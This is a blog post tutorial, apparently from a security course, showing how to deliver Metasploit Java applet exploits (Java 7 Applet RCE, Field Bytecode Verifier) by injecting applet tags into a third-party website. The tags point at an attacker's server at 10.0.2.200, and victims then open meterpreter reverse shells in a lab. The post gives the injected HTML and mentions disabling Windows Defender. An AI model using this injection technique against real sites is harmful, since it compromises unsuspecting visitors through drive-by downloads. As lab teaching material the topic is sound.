02- Metasploit Java Attacks via a Second Web Site

Leave a comment Go to comments

This past year or so saw the rise of a number of successful attack methods on various versions of Java incorporated into Metasploit:

Demonstrations for most of these attacks already exist online; one great place to get them is at Eric Romang’s blog. A typical demonstration is the one for the most recent JAX-WS Remote Code Execution vulnerability. (When you watch the video, you almost certainly want to be sure to up the quality of the YouTube video up to 720p).

In general these demonstrations follow a similar pattern: start Metasploit, and choose the appropriate exploit. Since these are all web attacks, configure the exploit so that it starts a web server (by default on port 8080, though that can be changed) and make a note of the URI (random by default, though that can be changed). Then hop over to the victim machine, and browse to that web server, on that port, and ask for the right URI; after a moment, we have a shell on the victim.

The thing is, how do you get someone to visit that page in the first place? Let’s suppose that we have all of the ingredients in the demo, but that our victim just doesn’t want to visit a URL like http://192.168.178.26:8080/BCVoP7Fk/ for some reason. Instead, let us suppose that there is a nice simple website, say http://trantor.cosc.tu that they do want to visit, and that somehow we have managed to get some level of write access to that page. What can we do?

For our first example, let us attack a nice happy Windows 8 box (32 bit) running Java 7, Update 6; this system will be living over at 10.0.2.201. Our attacking system will be a Backtrack 5 R3 box, this one running at 10.0.2.200. Our third system will be the web server at trantor.cosc.tu, with the IP address 10.0.2.3.

Since our target is running Java 7 U6, we decide to use the Java 7 Applet Remote Code Execution attack, and we set it up in the usual fashion. In particular, we set the target to the Windows Universal target, set the payload to meterpreter served over a reverse TCP connection (on the usual port 4444) aimed at our Backtrack host at 10.0.2.200.

Next, we visit the malicious link in the browser on our attack (Backtrack 5) machine. Why? Well, we need to know how to modify the remote web page so that it will send visitors to our malicious code. To do so, we need to know exactly how the attack is served. We can discover this for ourselves by reading the source code for the exploit as well, but I have found that requires a bit more knowledge of the exploit and of Ruby. Why work hard when the answer will be given to us?

From this, we see that this exploit is essentially served by the code

<applet archive="Exploit.jar" code="Exploit.class" width="1" height="1">
</applet>

With this in hand, we now visit the web server we expect our victims to browse (trantor.cosc.tu at 10.0.2.3), and modify the pages on that site so that they now contain the code

<applet archive="http://10.0.2.200:8080/r3Rwe4Qwv/Exploit.jar" 
code="Exploit.class" width="1" height="1">
</applet>

This is the same code that we saw originally, save now we are giving the full URL of the malicious code, rather than relying on it being locally stored. Now when the user on the Windows 8 system visits the modified web site, nothing appears amiss.

Actually, that is a bit of an exaggeration- the first time I tried this on a Windows 8 system, Windows Defender popped up and claimed that the system was being attacked. I disabled that, then tried again to get what you see above. Shrug. This is about getting the victim to the exploit page, not about evading anti-virus.

Back on our attack machine- shells!

The key idea here is that we used a third party web site (over which we had some control) to send our victim to our Metasploit attack, rather than requiring the victim to visit us directly.

It should be noted that different exploits can present themselves quite differently in the browser. For example, let us try the Java Applet Field Bytecode Verifier Cache Remote Code Execution vulnerability on a Windows 7 system running Java 6 U32.

As before, we start by setting up the exploit:

We then visit our malicious site with a browser on our attack machine, just to see what is being served:

This is more complex than the previous for a couple of reasons. First, this exploit requires quite a bit more data. You can’t see it in the screenshot, but the line shown has 147,783 characters (which is why I cut it off- I did not think your current browser window is quite that wide.)

The second fun fact is that the name of the archive will change each time the web site is visited; when I reloaded and visited the site again, the archive was named "wlRu.jar" rather than "Bqo.jar". How to proceed?

Well, it turns out that the actual name of the jar file is irrelevant in this case, as long as we copy the complete code, so we simply copy over one of the pieces of attack code to the web server, where we carefully update the URL of the archive to include its full URL (http://10.0.2.200:8080/yuBZ2FgzG9x/wlRu.jar):

Then, when the victim views the web site, they load the .jar from the attack machines, and we get our shell.

It should be noted that this is trickier than the previous; there were times when I could not get the shell to pop, so YMMV.

  1. No comments yet.
  1. No trackbacks yet.

Leave a comment